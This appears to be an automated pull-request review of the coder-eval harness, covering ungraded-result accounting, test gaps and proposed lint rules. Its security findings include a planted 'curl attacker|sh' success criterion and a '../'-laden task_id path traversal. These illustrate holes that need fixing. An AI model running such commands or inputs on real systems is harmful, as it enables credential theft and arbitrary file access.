  1. [Axis 1] Evalboard's new ungraded fields are write-only while the pass-rate tile still counts ungraded rows in its denominator (evalboard/app/runs/[id]/run-view.tsx:43) — grep -rn ungraded evalboard/app evalboard/lib shows metrics.ungraded is written at line 109 and never read. The comment at lines 42-43 claims "Excluded from both sides of pct, so a fully ungraded run reports 0 of 0, not 0%", but the tile takes const totalN = hasRepeats ? metrics.taskTotal : metrics.total; (line 559) and pct: graded ? (passed / graded) * 100 : 0 (line 111), so a 12-task coder-eval execute run renders a red 0% with 0 / 12. Export graded alongside ungraded, use it for totalN, and set tone = null when graded === 0 — or delete the field and the comment.

  2. [Axis 1] The grading switch and ungraded bucket were threaded as inline conditionals into already-over-threshold functions, pushing several past CC 20 (src/coder_eval/orchestrator.py:519) — radon cc -s, origin/main vs pr-154 (698e213): orchestrator.py:519 run C(18)->D(22); orchestrator.py:1434 _setup C(19)->D(22); orchestration/experiment.py:849 aggregate_results F(48)->F(54); cli/run_command.py:777 _run_with_experiment C(19)->D(27) at 198 lines (777-974); orchestrator.py:1002 _finalize_result D(26)->D(28); reports_experiment.py:592 generate_variant_report F(44)->F(46); orchestrator.py:2992 _cleanup C(19)->C(20). Two cheap extractions undo most of it: lift run()'s status chain (which the PR grows with elif not self.grade: and the inherited is not None and inherited.is_execution_fact arm) into _terminal_status(success: bool) -> FinalStatus, and split _run_with_experiment's resume block (run_command.py:906-926 — partition_for_resume + clear_rerun_artifacts + the _grade_resumed_tasks fold) into _apply_resume(...).

  3. [Axis 3] Detached grading's PRIMARY crash-recovery branch is untested on both paths; the test that looks like it covers it exercises the rarer sibling (src/coder_eval/cli/run_command.py:747) — Orchestrator.run() wraps its body in except Exception as e: (orchestrator.py:682) and CONVERTS an internal failure into a populated FinalStatus.ERROR result instead of raising — the code says so itself at run_command.py:749-753 ("Orchestrator.run() converts internal failures into a populated ERROR result rather than raising, so without this the except above never sees them"). So for any real grading crash (a checker raising, an unreachable judge) the recovery that keeps the row re-gradeable is the else: arm:

  4. [Axis 4] evaluate <run_dir> rebuilds the task from the run directory's own task.json and executes its shell commands on the grader's host (src/coder_eval/orchestration/regrade.py:76) — task_from_prior does task = TaskDefinition.model_validate(record.resolved) (regrade.py:76) where record.resolved is dict[str, Any] read verbatim out of the target directory's task.json (models/results.py:52). The rebuilt definition carries success_criteria and pre_run/post_run, which are executed with a shell: run_command criteria go to Sandbox.run_command -> subprocess.run(command, shell=True, ...) (sandbox.py:1256-1258), and on the --copy variant (evaluate --copy <run_dir>, where sandbox.was_adopted is False so _skip_hooks_for_adopted does not fire) pre_run/post_run go to asyncio.create_subprocess_shell(cmd.command, cwd=str(sandbox_dir), ...) (orchestrator.py:2849). Failure scenario: a colleague/CI publishes a run directory (the PR's own docstring says "a run directory is a shareable artifact -- the detached-grading flow exists so one machine can execute and another can grade"); the victim runs coder-eval evaluate ./downloaded-run/default/hello/00; a planted task_config.resolved.success_criteria[0] = {type: run_command, command: "curl attacker|sh"} runs as the grading user with the grader's environment (ANTHROPIC_API_KEY, AWS creds, SSH key …

  5. [Axis 4] Path traversal: default_workspace's task_id branch has no containment check, so an untrusted task.json can point grading at any host directory (src/coder_eval/orchestration/regrade.py:163) — The sandbox_path branch is containment-checked -- if not _is_within(recorded, run_dir): raise RegradeError(..."is outside the run directory"...) (regrade.py:142-150, covered by tests/test_regrade.py:287 test_a_sandbox_path_outside_the_run_dir_is_refused) -- but the fallback branch two blocks down is not: by_task_id = artifacts / prior.task_id / if by_task_id.is_dir(): return by_task_id (regrade.py:163-165). EvaluationResult.task_id is an unvalidated str (models/results.py:511, task_id: str = Field(description="ID of the evaluated task")) read from the same untrusted task.json. Verified concretely: (run/artifacts) / ('../'*30 + 'etc') returns is_dir() == True and resolves to /etc. Failure scenario: a shared run dir contains an empty artifacts/, no live sandbox_path, and "task_id": "../../../../../../../../home/victim"; default_workspace returns that path, evaluate_command.py:304/regrade.py:307 call sandbox.adopt(workspace) which sets sandbox_dir = workspace.resolve(), and every run_command criterion then executes with cwd=/home/victim (writing, deleting) while file_contains/file_check criteria read arbitrary files into …

  6. [Axis 6] run --resume grading crash leaves ERROR on disk, so the row is permanently un-regradeable and run.json disagrees with task.json (src/coder_eval/cli/run_command.py:747) — _grade_resumed_tasks calls regrade_in_place(..., run_dir=rt.run_dir, ...) (run_command.py:721-730), and Orchestrator._finalize_result writes self.report_path = self.run_dir / "task.json" (orchestrator.py:431, 1139-1141) BEFORE returning. So by the time line 747 runs, the ERROR row is already on disk in the same directory. The in-memory fallback at lines 758-759 (prior.error_message = ...; result = prior) only fixes run.json, so the comment at 748-753 and the console line at 754-757 — "keeping the ungraded row so it stays re-gradeable" — are false.

  7. [Axis 6] execute's if not self.grade early return sits before the max-turns capture and the run_limits budget gate, so execute + evaluate diverges from a single run (src/coder_eval/orchestrator.py:2255) — _evaluation_loop returns at orchestrator.py:2255-2257 (if not self.grade: ... return False) before two blocks that are NOT about grading:

  8. [Axis 8] Detached grading silently rewrites driver: docker -> tempdir, scoring docker tasks' run_command criteria on the grader's host (and neutralizing the new Sandbox.adopt docker guard) (src/coder_eval/orchestration/regrade.py:270) — FAILURE SCENARIO: coder-eval execute tasks/samples/skillsbench/dialogue-parser/dialogue-parser.yaml --run-dir ./r (driver: docker) then coder-eval run … --run-dir ./r --resume or coder-eval evaluate ./r/default/skillsbench-dialogue-parser/00. The verifier criterion runs on the HOST, where /verifier and /logs/verifier do not exist and the container's toolchain is absent, so cat /logs/verifier/reward.txt || echo 0 scores 0.0 and the row is written back FAILURE — for a trajectory coder-eval run scored 1.0. rm -rf /verifier and mkdir -p /logs/verifier also execute unsandboxed on the grading machine.

  9. [Axis 8] Experiment aggregation drops errored rows (weighted_score=None) from average_score / score_spread / per_replicate_scores, inflating a variant's headline score on an infrastructure-failure night (src/coder_eval/orchestration/experiment.py:889) — FAILURE SCENARIO: a nightly coder-eval run (grade=True, no execute anywhere) where one docker task's image build fails. That row lands BUILD_FAILED with weighted_score=None. Before: the variant's average_score includes it as 0.0. After: it is dropped from numerator AND denominator, so the variant's headline score in experiment.json/experiment.md rises — an infrastructure-failure night reports better than a clean one, and A/B comparisons are biased toward whichever variant errored more. TaskExperimentSummary.score_spread and best_variant shift the same way (experiment.py:919-930): a task where variant B fully errored now reports spread 0.0 instead of 0.8, and when every variant is unscored best = variants[0] names an arbitrary winner with is_tie=False.

Non-blocking, but please consider before merge

  1. [Axis 1] Detached-grade write-back dumps the result without TASK_JSON_TRANSCRIPT_EXCLUDE, re-inlining judge transcripts and leaving transcript_path dangling (src/coder_eval/cli/evaluate_command.py:422) — write_text_atomic(target, result.model_dump_json(indent=2)) omits exclude=TASK_JSON_TRANSCRIPT_EXCLUDE, which the orchestrator's writer passes (orchestrator.py:1140-1149) and which `judge_persistence.py: …

  2. [Axis 1] execute_command duplicates run's 148-line Typer signature while the parity test compares option NAMES only, so default/help/type drift stays green (src/coder_eval/cli/execute_command.py:37) — run_command.py:168-360 vs execute_command.py:37-184 are byte-identical for 18 of 19 options. The guard tests/test_execute_command.py::test_execute_exposes_run_flags_minus_the_refused_one builds its sets from …

  3. [Axis 1] aggregate_results names an arbitrary, input-order-dependent best_variant when nothing was graded (src/coder_eval/orchestration/experiment.py:920) — Line 920 is best = max(scored, key=lambda pair: (pair[1], pair[0].variant_id))[0] if scored else variants[0], directly under a comment (lines 917-918) that says including ungraded variants "would name an arbitrary 'best' among scores that do not exist" …

  4. [Axis 2] SuiteRollup.pass_rate stayed non-Optional float while both parallel twins became float | None, so a fully-ungraded suite publishes 0.0% (src/coder_eval/models/results.py:894) — Line 894 is pass_rate: float = Field(ge=0.0, le=1.0, description="rows_passed / rows_graded (ungraded rows excluded)"), but the two models it is explicitly written to mirror both became Optional in this PR: `RunSummary.pa …

  5. [Axis 2] warn_on_embedded_commands probes the SuccessCriterion union with an untyped getattr, violating the codebase's own documented isinstance rule, and omits agent_judge from the disclosure (src/coder_eval/orchestration/regrade.py:94) — Line 94 is commands = [cmd for c in task.success_criteria if isinstance(cmd := getattr(c, "command", None), str)]. task.success_criteria is a `Annotated[..., Field(dis …

  6. [Axis 3] SuiteRollup's new ungraded bucket, graded denominator, and row-count validator ship with zero tests (reports.py:873/990, results.py:918-930) (src/coder_eval/reports.py:990) — Three new behaviours landed on the suite surface with zero coverage: rows_not_graded = sum(1 for r in rows if r.result.final_status.category == "ungraded") (reports.py:873), the switched denominator `pass_rate=rows_passed / r …

  7. [Axis 3] CE047 and CE048 ship with no fires-on-violation test; only the whole-tree "finds nothing" scan covers them (tests/lint/rules/ce047_env_info_key_round_trip.py:62) — CE047 and CE048 are wired into tests/lint/runner.py but have no dedicated behaviour test — grep -oE "class TestCE0[0-9]{2}" tests/test_custom_lint.py lists CE009…CE046 (including every recent rule: CE043, CE044, CE045, CE046) and neit …

  8. [Axis 3] The detached grade's write-back guards over an untrusted run dir are untested (src/coder_eval/cli/evaluate_command.py:412) — _write_back treats the run dir as untrusted input, but neither refusal branch is exercised (coverage misses 416-417 and 423-427):

  9. [Axis 4] write_text_atomic's temp file is unguarded, defeating _write_back's symlink refusal on an untrusted run directory (src/coder_eval/path_utils.py:50) — _write_back deliberately guards the destination -- if target.is_symlink(): ... "is a symlink; refusing to write through it." (evaluate_command.py:412-417, with the comment "Following a symlink here turns evaluate <run_dir> into an arbitrary-f …

  10. [Axis 4] _sanitize_restored_path (orchestrator.py:2069) keeps relative PATH entries (resolved against the grader's cwd) and run-dir entries outside the workspace, then prepends them ahead of the host PATH (src/coder_eval/orchestrator.py:2094) — The restored value comes from the graded run's own record -- restored_path = self.result.environment_info.get("command_base_path") then `self.sandbox.set_command …

  11. [Axis 5] _compute_suite_rollup excludes ungraded rows from the new pass_rate but still collects them into failed_samples, a list documented as failed/errored rows (src/coder_eval/reports.py:945) — The function applies the new rule in one place and not the other two, inside the same body the PR edited. Line 873 adds rows_not_graded = sum(...) and line 990 divides pass_rate by rows_graded, with …

  12. [Axis 6] evaluate's result-count guard (evaluate_command.py:330-334) preempts the new grading-error branch, masking the real error and leaving the "still re-gradeable" notice unreachable on a grading crash (src/coder_eval/cli/evaluate_command.py:330) — On a grading crash, Orchestrator.run() returns an ERROR result with an EMPTY success_criteria_results (its broad except Exception at orchestrator.py: …

  13. [Axis 6] status.ts's "adding ungraded makes every consumer a type error" claim is false, and the ungraded sweep skipped lib/overview.ts (evalboard/lib/status.ts:13) — status.ts:13 claims "A distinct member makes that a type error at each site instead, so a consumer has to decide what to do with it." That is not true for consumers that go through isPassStatus rather than switching on StatusCategory, and …

  14. [Axis 7] evaluate's run-dir/work-dir overload is decided by an unoverridable task.json probe, so a work directory that merely contains a file named task.json aborts the pre-existing two-argument form (src/coder_eval/cli/evaluate_target.py:97) — The mode is chosen purely by probing for a filename:

  15. [Axis 7] Evalboard's per-task rollup still scores NOT_GRADED rows as failures (and is untested) (evalboard/app/runs/[id]/run-view.tsx:116) — computeRunMetrics correctly excludes ungraded rows from the per-replicate rate (const graded = total - ungraded; line 103, pct: graded ? (passed / graded) * 100 : 0 line 107), but three sibling rate paths were not given the same treatment:

  16. run-view.tsx:115-120 — the per-task rollup feeds off every row:

  17. run-view.tsx:201const variantRate = (m: RunMetrics) => m.taskTotal ? (m.taskPassed / m.taskTotal) * 100 : 0; drives PassRateByVariant, which renders on ANY multi-variant run, repeats or not.

  18. evalboard/lib/runs.ts:63 + :846 — the PR adds tasksNotGraded: number; and tasksNotGraded: data.tasks_not_graded ?? 0, but nothing reads the field (grep returns only those two lines). Python deliberately serializes tasks_graded for this reason (models/results.py: "a consumer that cannot read it has to re-derive the rate ... which is precisely how a consumer ends up publishing a different number for the same run"), and readRunSummary does not read it — so the runs list at evalboard/app/page.tsx:381-383 (const total = r.tasksRun; const pct = total ? (r.tasksSucceeded / total) * 100 : null;) still divides by tasksRun.

  19. [Axis 7] Documentation surfaces not updated for this PR's new fields, status category and artifacts (REPORT_SCHEMA nullability, USER_GUIDE tree, CLAUDE.md graded_by shape, telemetry docstring domain) (docs/REPORT_SCHEMA.md:238) — models/experiment.py changes two persisted, consumer-facing fields from non-nullable to nullable in this PR: weighted_score: floatweighted_score: float | None = None on `V …

  20. [Axis 8] verify_reference_unchanged compares a stripped staged-copy digest against the raw source tree, so a reference dir containing .git always reports a false mismatch (src/coder_eval/orchestration/regrade.py:227) — FAILURE SCENARIO: a task whose reference.directory is a git checkout (the case REFERENCE_COPY_IGNORE exists for). Every coder-eval evaluate <run_dir> and every run --resume over t …

  21. [Axis 8] Task telemetry launders an ungraded weighted_score of None into a real-looking Score: 0.0 (src/coder_eval/orchestrator.py:306) — FAILURE SCENARIO: coder-eval execute tasks/*.yaml on the eval runner emits one CoderEval.Task.End per task with Score = 0.0. Any App Insights tile computing avg(Score) over CoderEval.Task.End (the dashboards-as-code in coder_eval_uipath/infra/dashboards/) …

  22. [Axis 8] A detached grade overwrites the run's recorded api_routing with the grading host's route, contradicting the _seed_from_prior_result "prior wins" contract (and leaving stale aws_region/bedrock_model beside it) (src/coder_eval/orchestrator.py:1485) — FAILURE SCENARIO: a run executed on the eval runner with --backend bedrock is graded on a developer laptop configured for the direct Anthropic …

Nits

11 🔵 low findings — see the per-axis files in the full report.

What's Missing

Parallel paths:

  • 🟡 print_execution_summary was taught the ungraded bucket (run_helpers.py:135-151, "printing 0/N succeeded for a clean coder-eval execute reads as a total failure"), but its sibling summary line in src/coder_eval/cli/aggregate_command.py:81-84 was not — it still prints Aggregated 12 task(s) (0 ok / 0 fail / 0 err) with no not graded term. That is the exact wording the PR removed one file over, and coder-eval aggregate ./r is step 3 of the PR's own headline example, so it is the first thing a user runs after execute. build_run_summary already supplies summary.tasks_not_graded; only the console string was missed. (trigger: src/coder_eval/cli/run_helpers.py)
  • 🟡 The same false invariant was written a second time, in a second file: collect_variant_series (reports_stats.py:351-358) skips an ungraded row whole and justifies it with "grade is run-level, so an experiment is either entirely graded or entirely ungraded; this never splits a pair." _grade_resumed_tasks (cli/run_command.py:735-759) grades each row independently and folds a failed one back as NOT_GRADED, so a run --resume produces a genuinely mixed experiment. When it does, variant A's scores/durations/tokens series is built from a different row set than variant B's, and the Welch t-tests in _aggregate_stat_rows / _experiment_aggregate_metrics compare two unequal samples with no excluded_count disclosure (unlike paired_comparison, which reports one). Fix both comments and both code sites together. (trigger: src/coder_eval/reports_stats.py) (restates: Axis 8: _pick_worst_status's comment claims ungraded replicates can never mix with graded ones)
  • 🟡 The ungraded sweep converted lib/trends.ts:158 and lib/watchlist.ts:121/144/211 to isGraded, but evalboard/lib/overview.ts does not import isGraded at all — it keeps isPassStatus over an all-rows denominator in buildTagTaskRows (overview.ts:953/970/977) and three raw t.status === "SUCCESS" rate sites (rowFromScoped :1095-1097 feeding the front-page chart at :789, summarizeListing :207-208, the ad-hoc listing :1206-1209), plus timePerPassedTaskForTasks :137-140. Because StatusCategory has no exhaustive-switch consumer anywhere in the app, widening the union produced no compiler error to drive that sweep — the audit was manual, and overview.ts is the file it missed. (trigger: evalboard/lib/status.ts) (restates: Axis 6: status.ts's "adding ungraded makes every consumer a type error" claim is false, and the ungraded sweep skipped lib/overview.ts)
  • 🔵 The command list in main()'s help was updated for the new command (- execute: Execute evaluation tasks WITHOUT grading them, cli/init.py:50-51) but the adjacent evaluate line still reads "Run criteria against a directory without an agent" — the pre-PR one-shape description. evaluate now takes a run directory, rebuilds the task from task_config.resolved, and WRITES BACK into task.json; none of that is a "directory without an agent". The two entries were edited in the same hunk, so the omission is mechanical, and coder-eval --help is the discovery surface for the whole detached-grading flow. (trigger: src/coder_eval/cli/init.py)

Tests:

  • 🟠 Both new guards on the docker grade boundary — the exact path the nightly runs on — ship with no behavioral test. DockerRunner._assert_grade_honored (docker_runner.py:876-894) is the only thing standing between execute --driver docker against a stale image and a run that silently publishes real SUCCESS/FAILURE verdicts; git grep _assert_grade_honored tests/ returns nothing, so neither the raise, the self.grade short-circuit, nor the is_execution_fact exemption is exercised. Same for the in-container coercion at cli/run_task_internal_command.py:156-165: tests/test_execute_command.py:295 asserts only that the STRING 'context.get("grade", True)' appears in the source, and nothing feeds a non-bool "grade" to prove the typer.Exit(2). Both are cheap to test (construct a DockerRunner with grade=False and hand it a SUCCESS result; write a context.json with "grade": "false"). (trigger: src/coder_eval/isolation/docker_runner.py)
  • 🟡 The new test's own header says "The mirror had no test at all, which is how NOT_GRADED came to be categorized as 'unknown'" — but the fix is a hand-maintained EVERY_FINAL_STATUS record (status.test.ts:16-25) that the test iterates over itself, so it can never fail when Python adds a tenth FinalStatus member. The repo already has the right pattern for exactly this problem one directory over: evalboard/lib/__tests__/pricing-parity.test.ts parses src/coder_eval/pricing.py and fails the build on drift in either direction. Without an equivalent parity test that reads _STATUS_CATEGORIES out of src/coder_eval/models/enums.py, the next status repeats this PR's bug verbatim — and Python's side is guarded (assert set(_STATUS_CATEGORIES) == set(FinalStatus)) while the mirror is not. (trigger: evalboard/lib/tests/status.test.ts)
  • 🟡 Of the four ungraded changes to reports_html.py, only the badge got a test. test_status_badge_dispatches_on_category / test_status_badge_maps_every_member_to_its_category were extended for NOT_GRADED, but there is no case for the new Not Graded variant tile (reports_html.py:1585-1591, rendered only when non-zero — an off-by-one on > 0 is invisible), the changed variant-table denominator {agg.tasks_succeeded}/{agg.tasks_graded} (:1664), _variant_stddev_lines's new None filter (:1128), or _experiment_per_task_comparison's switch to format_score (:1455). An all-ungraded ExperimentResult rendered through HTMLReportGenerator would cover all four in one test. (trigger: tests/test_reports_html.py)
  • 🔵 Three new module-level helpers have zero test that names them: grading_sandbox_config (git grep grading_sandbox_config tests/ is empty — the function that unconditionally rewrites driver: docker -> tempdir on both new grading entry points), write_text_atomic (path_utils.py:41-52, the writer behind every task.json and the subject of the symlink/tmp-leak findings), and format_score / is_env_table_key / UNGRADED_SCORE_TEXT (reports_stats.py:319-334, covered only incidentally by an "n/a" in text substring assertion). A single direct test on grading_sandbox_config asserting what it does to a docker task would have made the driver downgrade visible in review. (trigger: src/coder_eval/path_utils.py) (restates: Axis 8: Detached grading silently rewrites driver: docker -> tempdir)

Downstream consumers:

  • 🟡 collect_variant_series skips the WHOLE row when weighted_score is None (reports_stats.py:351-358), but that series carries three facts grading has nothing to do with: duration, tokens and assistant turns. Verified by rendering a 2-variant, 3-task all-ungraded ExperimentResult through ExperimentReportGenerator._aggregate_metrics_lines on the PR head — every row carried duration_seconds=12.5, total_tokens=1000, total_assistant_turns=4, and the table came out | Avg Duration (s) | N/A | N/A | with the Tokens and Assistant Turns rows absent entirely (if any(series[vid].tokens ...) is false). The HTML twin (_experiment_aggregate_metrics, reports_html.py:1343-1397) reads the same series and loses the same rows. That directly contradicts the contract the PR states in execute_command.py and USER_GUIDE.md — "Only the verdict is withheld, never the facts of the run." Drop only the score, not the row. (trigger: src/coder_eval/reports_stats.py)
  • 🟡 reference/run-layout.md was taught task.execute.json, but the shipped plugin skill that READS the run record was not taught the fourth status. plugins/coder-eval/skills/analyze/SKILL.md:50-68 hands the agent a jq recipe with all_criteria_perfect: (.success_criteria_results | length > 0 and all(.[]; .score == 1.0)); on a NOT_GRADED row that list is empty, so every task comes back all_criteria_perfect: false with weighted_score: null and no failed_criteria, and the skill's instruction to "drive recommendations from the aggregate" then reports an ungraded run as uniformly imperfect. The skill also has no rule for NOT_GRADED alongside its existing rule for the synthetic docker-degrade final_status=ERROR record. Same class of consumer the PR did update in-repo (reports*, evalboard) — the published plugin was missed. (trigger: plugins/coder-eval/reference/run-layout.md)
  • 🟡 RunSummary.tasks_graded was made a computed_field specifically so consumers stop re-deriving the denominator ("a consumer that cannot read it has to re-derive the rate ... which is precisely how a consumer ends up publishing a different number for the same run", models/results.py:1139-1148) — and then the one in-repo consumer, readRunSummary (evalboard/lib/runs.ts:842-846), reads tasks_run / tasks_succeeded / tasks_not_graded and never reads tasks_graded. tasksNotGraded is stored on RunSummary (runs.ts:63) and read by nothing, so the run list (app/page.tsx:381-383, again at :519-521) still divides by tasksRun. Adding the field to the Python contract and not consuming it is the exact drift the docstring warns about. (trigger: evalboard/lib/runs.ts) (restates: Axis 1: Evalboard's new ungraded fields are write-only while the pass-rate tile still counts ungraded rows in its denominator)

Display & mapping dicts:

  • 🟡 The per-variant summary block got a conditional - **Not Graded**: N line (reports_experiment.py:632) and the HTML variant tile got a matching stat (reports_html.py:1585-1591), but the Aggregate Metrics COMPARISON tables that both reporters render did not: _aggregate_count_rows (reports_experiment.py:291-330) and _experiment_aggregate_metrics (reports_html.py:1351-1360) emit Tasks Run / Succeeded / Failed / Errors and stop. Rendered on the PR head for an all-ungraded 3-task experiment: | Tasks Run | 3 | 3 | above | Succeeded | 0 |, | Failed | 0 |, | Errors | 0 | — the four numbers no longer satisfy the sum-to-tasks_run invariant the models now enforce, with nothing on the page to say where the other 3 went. Add the fourth row (conditionally, like its siblings). (trigger: src/coder_eval/reports_experiment.py)
  • 🔵 Two evalboard render helpers were not extended for the new category. StatusPill (lib/pills.tsx:54-98) correctly leaves NOT_GRADED grey (isFailure is false) but its relabel map only knows SUCCESS/TIMEOUT/fail, so the grid renders the raw enum token NOT_GRADED where every other status gets a human label. And the k/N ✓ replicate badge (app/runs/[id]/task-grid.tsx:246 + replicateBadgeClass :266-269) is fed by perTaskPassCounts, which has no isGraded filter — an execute --repeats 2 run renders 0/2 ✓ in red with the tooltip "0 of 2 replicates passed". Both are the same fix as the run-page rollup: exclude ungraded rows from the count and give the category its own presentation. (trigger: evalboard/lib/status.ts) (restates: Axis 7: Evalboard's per-task rollup still scores NOT_GRADED rows as failures (and is untested))

Daily/nightly:

  • 🟡 The PR's own # Ripple section enumerates in-repo surfaces only (reports_junit, reports_html, reports/reports_experiment, experiment aggregation, verify-published-action, evalboard) and never names the external coder-eval-uipath / eval-runner pipeline that consumes the same contract. Four contract changes cross that line: a NINTH FinalStatus value (NOT_GRADED) in task.json / run.json status, two new RunSummary keys (tasks_not_graded stored, tasks_graded computed), VariantResult.weighted_score and VariantAggregate.average_score changing from float to nullable in experiment.json, and a new task.execute.json sidecar in the run tree. A strict external reader (closed enum, non-Optional float) rejects the first three; a lenient one repeats evalboard's bug and buckets NOT_GRADED as a failure. The Ripple table's own evidence that this is the failure mode — every in-repo surface had to be edited — is the argument for stating the out-of-repo blast radius explicitly. (Note the Ripple text is also stale: it says evalboard maps NOT_GRADED to "unknown", while the code ships "ungraded".) (trigger: docs/REPORT_SCHEMA.md)
  • 🟡 build_task_event publishes one CoderEval.Task.End per task to App Insights with a new Category = "ungraded" value and Score = float(result.weighted_score or 0.0), and neither half is traced to the dashboards that consume it. The shipped dashboards-as-code in coder_eval_uipath/infra/dashboards/coder-eval-usage.workbook.json compute avg(todouble(customDimensions.Score)) at lines 155/197/211/225 with no Status or Category filter, and bucket the laundered 0.0 into the 0-0.24 band at line 169 — so an execute night drags every score tile toward zero, indistinguishable from a genuinely bad night. The dashboard queries live in the other repo and need a lockstep change (filter on Category, or omit the key when the score is None); the PR does not say so. (trigger: src/coder_eval/orchestrator.py) (restates: Axis 8: Task telemetry launders an ungraded weighted_score of None into a real-looking Score: 0.0)

Harness & Lint Improvements

Static checks (lint / type):

  • [ce-lint] CE049 — single task.json writer seam. New rule tests/lint/rules/ce049_task_json_writer_seam.py (wired into tests/lint/runner.py::ALL_RULES) forbidding, anywhere in src/coder_eval/ outside one blessed helper (e.g. a new reports.write_task_json(path, result)), an EvaluationResult.model_dump_json(...) whose result is passed to a file write, and requiring that helper's call to pass exclude=TASK_JSON_TRANSCRIPT_EXCLUDE. Harden the helper itself: write_text_atomic opens the temp file with os.open(..., O_CREAT|O_EXCL|O_WRONLY|O_NOFOLLOW) (or tempfile.mkstemp(dir=path.parent)) and unlinks it in except before re-raising. AST shape: Call(func=Attribute(attr='model_dump_json')) used as an argument to write_text/write_text_atomic/open(...).write. Prevents: evaluate_command.py:422 re-inlining ~20-100 KB of judge transcript per result and leaving transcript_path dangling; the divergent third writer at isolation/docker_runner.py:972 (own tmp + os.replace, no exclude); the task.json.tmp symlink-follow overwrite primitive (path_utils.py:50) and the partial .tmp leak on an aborted write.
  • [ce-lint] CE050 — no numeric coalescing of a possibly-unmeasured score. New rule tests/lint/rules/ce050_no_score_or_zero.py flagging BoolOp(Or) whose left operand is a Name/Attribute matching (weighted_)?score|average_score|pass_rate|.*_rate and whose right operand is a numeric literal (0, 0.0) — i.e. result.weighted_score or 0.0. Escape hatch: # noqa: CE050 for genuinely aggregate-internal use. The codebase already documents the hazard in prose at orchestrator.py:1030-1037 ("every downstream score or 0.0 would launder it into a real-looking failure"). Prevents: orchestrator.py:306 telemetry publishing Score: 0.0 for NOT_GRADED rows into the four App Insights avg(Score) tiles; regression of the [r.result.weighted_score or 0.0 for r in reps] shape in orchestration/experiment.py; reports.py:990's rows_passed / rows_graded if rows_graded else 0.0 zero-sentinel.
  • [ce-lint] CE051 — rollup-model parity. New whole-tree check tests/lint/rollup_parity.py + a TestCE051RollupParity class (the CE030/CE036 registry-derived pattern, not a per-file BaseRule): for the three parallel rollup models — SuiteRollup, RunSummary, VariantAggregate — assert (a) the bucket fields are the same set and every count field declares ge=0, (b) every ratio field (*_rate, average_*) has the same annotation across all three (float | None), (c) each exposes a serialized *_graded denominator as a @computed_field, (d) the @computed_field # type: ignore[prop-decorator] form is used consistently within a class. Adding a fourth rollup model means registering it in the parity list. Prevents: models/results.py:894 SuiteRollup.pass_rate: float publishing 0.0% for a suite where nothing was measured while both twins became float | None; :893 rows_not_graded: int = 0 accepting a negative bucket; the missing rows_graded denominator the field description already names; the bare @computed_field on RunSummary.tasks_graded (results.py:1138).
  • [ce-lint] CE052 — a lint rule must be able to fail. New meta-check tests/lint/rule_coverage.py + TestCE052RuleCoverage: for every entry in runner.ALL_RULES and every whole-tree lint module, require (a) a TestCE<nnn>... class in tests/test_custom_lint.py containing at least one fixture that produces a violation, and (b) path-form invariance — running the rule over the same source with a repo-relative path and an absolute path yields the same violations. Registry-derived, so a new rule cannot be wired up without both. Prevents: CE047 and CE048 shipping with only the whole-tree test_no_violations ("finds nothing") coverage, so a rule that can never fire stays permanently green — the exact failure CE047's own docstring was written about; the same gap on CE037/CE038/CE039; and CE047's _SRC_PATH = r"[/\\]src[/\\]coder_eval[/\\]" leading-separator scoping, which silently returns zero violations for a repo-relative path (and would make a house-style CE047 test pass vacuously, since TestCE043 constructs its rule with a relative path).
  • [ce-lint] CE053 — duplicated Typer option parity. New whole-tree check tests/lint/typer_option_parity.py + TestCE053TyperOptionParity: across command functions in src/coder_eval/cli/, any parameter name declared by two or more commands must declare an identical typer.Option default, help, annotation and constraints (min=, max=), unless the pair is listed in an explicit DIVERGENCES map with a reason (e.g. --resume help text on execute). Compares the AST of the option calls, not just the flag strings. Prevents: execute_command.py:37-184 being a 148-line verbatim copy of run_command.py:168-337 while the only guard (tests/test_execute_command.py:213 _option_names) compares flag STRINGS — I confirmed that changing run's --max-parallel default from 1 to 4 and its min=1 to min=2 leaves all 14 tests green, so run and execute would ship different concurrency semantics silently.
  • [ce-lint] CE054 — no untyped attribute probe over a discriminated union. New rule tests/lint/rules/ce054_no_union_getattr_probe.py forbidding, in src/coder_eval/, getattr(x, "<string literal>", ...) where the literal matches a field name declared on any member of the SuccessCriterion / TemplateSource / ApiRoute unions (derived from the model registry, so it tracks renames). Fix is isinstance narrowing. This promotes an existing in-tree prose convention to a gate — models/tasks.py:700-704 already says, verbatim: "isinstance narrowing, NOT getattr(c, 'files'/'command'): with an untyped string probe, renaming ... turns this load-time guard into a silent no-op that pyright cannot see." Prevents: orchestration/regrade.py:94's getattr(c, "command", None) security disclosure, which pyright cannot see and which no test covers (zero test references to warn_on_embedded_commands) — renaming RunCommandCriterion.command degrades the only shell-command warning on the detached-grading path to a permanent no-op; the same probe also structurally cannot name agent_judge, the criterion with the widest blast radius.
  • [ce-lint] CE055 — no silent sandbox driver rewrite. New rule tests/lint/rules/ce055_no_driver_override.py forbidding any construction of a SandboxConfig that overrides the driver key from an existing config ({**task.sandbox.model_dump(), "driver": ...}, model_copy(update={"driver": ...}), setattr(cfg, "driver", ...)) outside models/sandbox.py, the CLI --driver alias, and the documented in-container rewrite in run_task_internal_command (which must carry an explicit # noqa: CE055 naming its reason). A driver downgrade must be an explicit, logged, operator-visible decision. Prevents: orchestration/regrade.py:270 grading_sandbox_config unconditionally rewriting driver: dockertempdir on both new grading entry points (regrade.py:303, evaluate_command.py:277), so a docker task's run_command criteria execute unsandboxed on the grader's host — scoring a trajectory FAILURE that run scored 1.0, executing rm -rf /verifier on the grading machine, and neutralizing the Sandbox.setup() refusal at sandbox.py:270.
  • [ce-lint] CE056 — path-segment identifiers must be pattern-constrained. New rule tests/lint/rules/ce056_path_id_pattern.py: any field on a persisted model (EvaluationResult, TaskResult, SuiteRollup, RunSummary, …) whose name is in a declared PATH_SEGMENT_FIELDS set (task_id, variant_id, suite_id, run_id) must declare a pattern= constraint (e.g. ^[A-Za-z0-9._-]+$); and conversely, any Path join whose right operand is an attribute of a prior/record/summary object must reference a field in that set. Closes the traversal class at the schema layer, where it holds for every consumer rather than one call site. Prevents: orchestration/regrade.py:163-165 by_task_id = artifacts / prior.task_id returning an unchecked path (verified: artifacts / ('../'*30 + 'etc') is is_dir()==True and resolves to /etc), which sandbox.adopt(workspace) then makes the cwd for every run_command criterion — reachable even when the caller supplies a TRUSTED task file, because work_dir still comes from the untrusted prior (evaluate_command.py:91). The sibling sandbox_path branch is containment-checked (regrade.py:142-150); this one is the only unguarded twin.
